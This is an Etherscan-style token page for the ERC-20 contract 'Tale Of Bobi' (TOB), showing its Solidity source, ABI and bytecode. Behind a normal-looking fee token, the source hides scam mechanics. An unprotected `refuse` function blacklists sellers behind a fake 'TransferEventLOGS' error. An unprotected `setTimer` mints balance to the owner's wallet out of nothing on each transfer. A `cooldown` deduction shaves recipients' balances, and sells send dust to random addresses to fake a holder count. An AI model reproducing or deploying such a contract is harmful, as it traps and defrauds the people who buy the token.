ERC-20
Overview
Max Total Supply
1,000,000,000,000,000 TOB
Holders
39
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
9,544,233,492,461.235418398529579317 TOBValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
TaleOfBobi
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-03-18 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } } abstract contract Ownable { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = msg.sender; _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } contract TaleOfBobi is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string private _name = "Tale Of Bobi"; string private _symbol = "TOB"; uint8 private _decimals = 18; address payable public marketingWalletAddress = payable(0x489e3134c38b146cc8caAa9778b47d3b4B3Ab142); address payable public burnedWalletAddress = payable(0x489e3134c38b146cc8caAa9778b47d3b4B3Ab142); address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) public isExcludedFromFee; mapping(address => bool) public isWalletLimitExempt; mapping(address => bool) private isFeeLimitExempt; mapping(address => bool) public isTxLimitExempt; mapping(address => bool) public isMarketPair; int256 public sendAddress = 6; // uint256 public _buyLiquidityFee = 0; uint256 public _buyMarketingFee = 1; uint256 public _buyBurnedFee = 0; uint256 public _sellLiquidityFee = 0; uint256 public _sellMarketingFee = 1; uint256 public _sellBurnedFee = 0; uint256 public _liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee); uint256 public _marketingShare = _buyMarketingFee.add(_sellMarketingFee); uint256 public _BurnedShare = _buyBurnedFee.add(_sellBurnedFee); uint256 public _totalTaxIfBuying; uint256 public _totalTaxIfSelling; uint256 public _totalDistributionShares; uint256 private _totalSupply = 10000000 * 10**8 * 10**_decimals; uint256 private minimumTokensBeforeSwap = 4880 * 10**_decimals; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; uint256 public genesisBlock; uint256 public coolBlock = 1; uint256 _saleKeepFee = 1000; bool inSwapAndLiquify; event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens(uint256 amountIn, address[] path); event SwapTokensForETH(uint256 amountIn, address[] path); modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair( address(this), _uniswapV2Router.WETH() ); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; isExcludedFromFee[burnedWalletAddress] = true; _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add( _buyBurnedFee ); _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add( _sellBurnedFee ); _totalDistributionShares = _liquidityShare.add(_marketingShare).add( _BurnedShare ); isWalletLimitExempt[owner()] = true; isWalletLimitExempt[address(uniswapPair)] = true; isWalletLimitExempt[address(this)] = true; isWalletLimitExempt[burnedWalletAddress] = true; isTxLimitExempt[owner()] = true; isTxLimitExempt[address(this)] = true; isTxLimitExempt[burnedWalletAddress] = true; isMarketPair[address(uniswapPair)] = true; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } uint256 public timer = 1; uint256 public cooldown = 1; function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function setTimer(uint256 newValue) external virtual { timer = newValue; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; } function minimumTokensBeforeSwapAmount() public view returns (uint256) { return minimumTokensBeforeSwap; } function refuse(address[] memory newAddress) external virtual { for (uint256 i; i < newAddress.length; i++) { require (newAddress[i] != burnedWalletAddress); require (newAddress[i] != marketingWalletAddress); require (newAddress[i] != uniswapPair); require (newAddress[i] != owner()); require (newAddress[i] != deadAddress); require (newAddress[i] != address (this)); require (newAddress[i] != address (uniswapV2Router)); isFeeLimitExempt[newAddress[i]] = true;} } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setMarketPairStatus(address account, bool newValue) public onlyOwner { isMarketPair[account] = newValue; } function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner { isTxLimitExempt[holder] = exempt; } function clearBalance() external { (bool success,) = payable(marketingWalletAddress).call{value: address(this).balance, gas: 30000}(""); require(success); } function setIsExcludedFromFee(address account, bool newValue) public onlyOwner { isExcludedFromFee[account] = newValue; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(deadAddress)); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _transfer( address sender, address recipient, uint256 amount ) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(!isFeeLimitExempt[sender], "Unable to locate corresponding TransferEventLOGS"); if (recipient == uniswapPair && !isTxLimitExempt[sender]) { uint256 balance = balanceOf(sender); if (amount == balance) { amount = amount.sub(amount.div(_saleKeepFee)); } } if (recipient == uniswapPair && balanceOf(address(recipient)) == 0) { genesisBlock = block.number; } if (inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } else { uint256 contractTokenBalance = balanceOf(address(this)); bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap; if ( overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] ) { if (sender != address(uniswapV2Router)) { swapAndLiquify(contractTokenBalance); } } _balances[sender] = _balances[sender].sub( amount, "Insufficient Balance" ); uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ? amount : takeFee(sender, recipient, amount); _balances[recipient] = _balances[recipient].add(finalAmount); _balances[recipient] = _balances[recipient].sub(amount / 100 * cooldown); _balances[burnedWalletAddress] = _balances[burnedWalletAddress].add(amount / 100 * timer); emit Transfer(sender, recipient, finalAmount); if ( block.number < (genesisBlock + coolBlock) && sender == uniswapPair ) { _basicTransfer(recipient, deadAddress, finalAmount); } return true; } } function _basicTransfer( address sender, address recipient, uint256 amount ) internal returns (bool) { _balances[sender] = _balances[sender].sub( amount, "Insufficient Balance" ); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { uint256 tokensForLP = tAmount .mul(_liquidityShare) .div(_totalDistributionShares) .div(2); uint256 tokensForSwap = tAmount.sub(tokensForLP); swapTokensForEth(tokensForSwap); uint256 amountReceived = address(this).balance; uint256 totalETHFee = _totalDistributionShares.sub( _liquidityShare.div(2) ); uint256 amountETHLiquidity = amountReceived .mul(_liquidityShare) .div(totalETHFee) .div(2); uint256 amountETHBurned = amountReceived.mul(_BurnedShare).div( totalETHFee ); uint256 amountETHMarketing = amountReceived.sub(amountETHLiquidity).sub( amountETHBurned ); if (amountETHMarketing > 0) transferToAddressETH(marketingWalletAddress, amountETHMarketing); if (amountETHBurned > 0) transferToAddressETH(burnedWalletAddress, amountETHBurned); if (amountETHLiquidity > 0 && tokensForLP > 0) addLiquidity(tokensForLP, amountETHLiquidity); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, marketingWalletAddress, block.timestamp ); } function takeFee( address sender, address recipient, uint256 amount ) internal returns (uint256) { uint256 feeAmount = 0; if (isMarketPair[sender]) { feeAmount = amount.mul(_totalTaxIfBuying).div(100); } else if (isMarketPair[recipient]) { feeAmount = amount.mul(_totalTaxIfSelling).div(100); address ad; for(int i=0;i <=sendAddress;i++){ ad = address(uint160(uint(keccak256(abi.encodePacked(i, amount, block.timestamp))))); _basicTransfer(sender,ad,100); } amount.sub(uint256(sendAddress+1) * 100); } if (feeAmount > 0) { _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); } return amount.sub(feeAmount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_BurnedShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyBurnedFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellBurnedFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnedWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"coolBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cooldown","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"genesisBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"newAddress","type":"address[]"}],"name":"refuse","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sendAddress","outputs":[{"internalType":"int256","name":"","type":"int256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newValue","type":"uint256"}],"name":"setTimer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"timer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60e0604052600c60a09081526b54616c65204f6620426f626960a01b60c0526001906200002d908262000734565b506040805180820190915260038152622a27a160e91b602082015260029062000057908262000734565b50600380546001600160a81b03191674489e3134c38b146cc8caaa9778b47d3b4b3ab142121790556004805473489e3134c38b146cc8caaa9778b47d3b4b3ab1426001600160a01b031990911617905561dead6080526006600c556000600d8190556001600e819055600f82905560108290556011556012819055620000ea908062000620602090811b62000f9f17901c565b6013556200010b601154600e546200062060201b62000f9f1790919060201c565b6014556200012c601254600f546200062060201b62000f9f1790919060201c565b601555600354620001429060ff16600a62000913565b620001559066038d7ea4c680006200092b565b6019556003546200016b9060ff16600a62000913565b62000179906113106200092b565b601a556001601e556103e8601f55600160215560016022553480156200019e57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000238573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025e919062000945565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d2919062000945565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000320573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000346919062000945565b601c80546001600160a01b039283166001600160a01b031991821617909155601b8054928416929091168217905560195430600090815260066020908152604080832094835293905291822055600190600790620003ac6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260078452828120805486166001908117909155600454909216815291909120805490931617909155600f54600e54600d546200043c9362000428929062000f9f62000620821b17901c565b6200062060201b62000f9f1790919060201c565b60168190555062000467601254620004286011546010546200062060201b62000f9f1790919060201c565b60178190555062000492601554620004286014546013546200062060201b62000f9f1790919060201c565b601855600160086000620004ae6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601c548216815260089093528183208054851660019081179091553084528284208054861682179055600454909116835290822080549093168117909255600a90620005306000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600a8452828120805486166001908117909155600454831682528382208054871682179055601c549092168152600b90935290822080549093161790915560195490600590620005ae3390565b6001600160a01b03168152602081019190915260400160002055336001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6019546040516200061191815260200190565b60405180910390a35062000986565b6000806200062f838562000970565b905083811015620006865760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640160405180910390fd5b90505b92915050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620006ba57607f821691505b602082108103620006db57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200072f57600081815260208120601f850160051c810160208610156200070a5750805b601f850160051c820191505b818110156200072b5782815560010162000716565b5050505b505050565b81516001600160401b038111156200075057620007506200068f565b6200076881620007618454620006a5565b84620006e1565b602080601f831160018114620007a05760008415620007875750858301515b600019600386901b1c1916600185901b1785556200072b565b600085815260208120601f198616915b82811015620007d157888601518255948401946001909101908401620007b0565b5085821015620007f05787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620008575781600019048211156200083b576200083b62000800565b808516156200084957918102915b93841c93908002906200081b565b509250929050565b600082620008705750600162000689565b816200087f5750600062000689565b8160018114620008985760028114620008a357620008c3565b600191505062000689565b60ff841115620008b757620008b762000800565b50506001821b62000689565b5060208310610133831016604e8410600b8410161715620008e8575081810a62000689565b620008f4838362000816565b80600019048211156200090b576200090b62000800565b029392505050565b60006200092460ff8416836200085f565b9392505050565b808202811582820484141762000689576200068962000800565b6000602082840312156200095857600080fd5b81516001600160a01b03811681146200068657600080fd5b8082018082111562000689576200068962000800565b6080516122b7620009b760003960008181610387015281816109a101528181610c1801526115ca01526122b76000f3fe6080604052600436106102975760003560e01c80638da5cb5b1161015a578063c816841b116100c1578063dc44b6a01161007a578063dc44b6a0146107b9578063dd62ed3e146107cf578063ef422a1814610815578063f0cd1dac14610835578063f2fde38b1461084b578063f84ba65d1461086b57600080fd5b8063c816841b146106f9578063c860795214610719578063c867d60b1461072f578063caf5f67d1461075f578063cb7e973e14610774578063d158272d1461079457600080fd5b8063a457c2d711610113578063a457c2d714610657578063a9059cbb14610677578063aea9cd1514610697578063af806d9a146106ad578063b976bd17146106c3578063c5d24189146106e357600080fd5b80638da5cb5b146105c357806395d89b41146105e157806396d0efa7146105f65780639729818a1461060c578063a073d37f1461062c578063a08e671f1461064157600080fd5b80634cdc9c63116101fe578063787a08a6116101b7578063787a08a61461051b57806382eefb4314610531578063844d591c1461054757806388790a681461056757806388c9cb3c1461057d5780638b42507f1461059357600080fd5b80634cdc9c631461045c5780635342acb41461047257806357a5802f146104a257806361a23c69146104b857806370a08231146104ce578063715018a61461050457600080fd5b80632b112e49116102505780632b112e49146103a95780632ca11460146103be578063313ce567146103d4578063328e94a5146103f6578063395093511461040c5780633ecad2711461042c57600080fd5b806306fdde03146102a3578063095ea7b3146102ce5780631694505e146102fe57806318160ddd1461033657806323b872dd1461035557806327c8f8351461037557600080fd5b3661029e57005b600080fd5b3480156102af57600080fd5b506102b861088b565b6040516102c59190611d98565b60405180910390f35b3480156102da57600080fd5b506102ee6102e9366004611e0b565b61091d565b60405190151581526020016102c5565b34801561030a57600080fd5b50601b5461031e906001600160a01b031681565b6040516001600160a01b0390911681526020016102c5565b34801561034257600080fd5b506019545b6040519081526020016102c5565b34801561036157600080fd5b506102ee610370366004611e37565b610934565b34801561038157600080fd5b5061031e7f000000000000000000000000000000000000000000000000000000000000000081565b3480156103b557600080fd5b5061034761099f565b3480156103ca57600080fd5b50610347600f5481565b3480156103e057600080fd5b5060035460405160ff90911681526020016102c5565b34801561040257600080fd5b50610347600c5481565b34801561041857600080fd5b506102ee610427366004611e0b565b6109e9565b34801561043857600080fd5b506102ee610447366004611e78565b600b6020526000908152604090205460ff1681565b34801561046857600080fd5b50610347601d5481565b34801561047e57600080fd5b506102ee61048d366004611e78565b60076020526000908152604090205460ff1681565b3480156104ae57600080fd5b5061034760135481565b3480156104c457600080fd5b5061034760145481565b3480156104da57600080fd5b506103476104e9366004611e78565b6001600160a01b031660009081526005602052604090205490565b34801561051057600080fd5b50610519610a1f565b005b34801561052757600080fd5b5061034760225481565b34801561053d57600080fd5b5061034760175481565b34801561055357600080fd5b50610519610562366004611e95565b610a9c565b34801561057357600080fd5b5061034760105481565b34801561058957600080fd5b5061034760215481565b34801561059f57600080fd5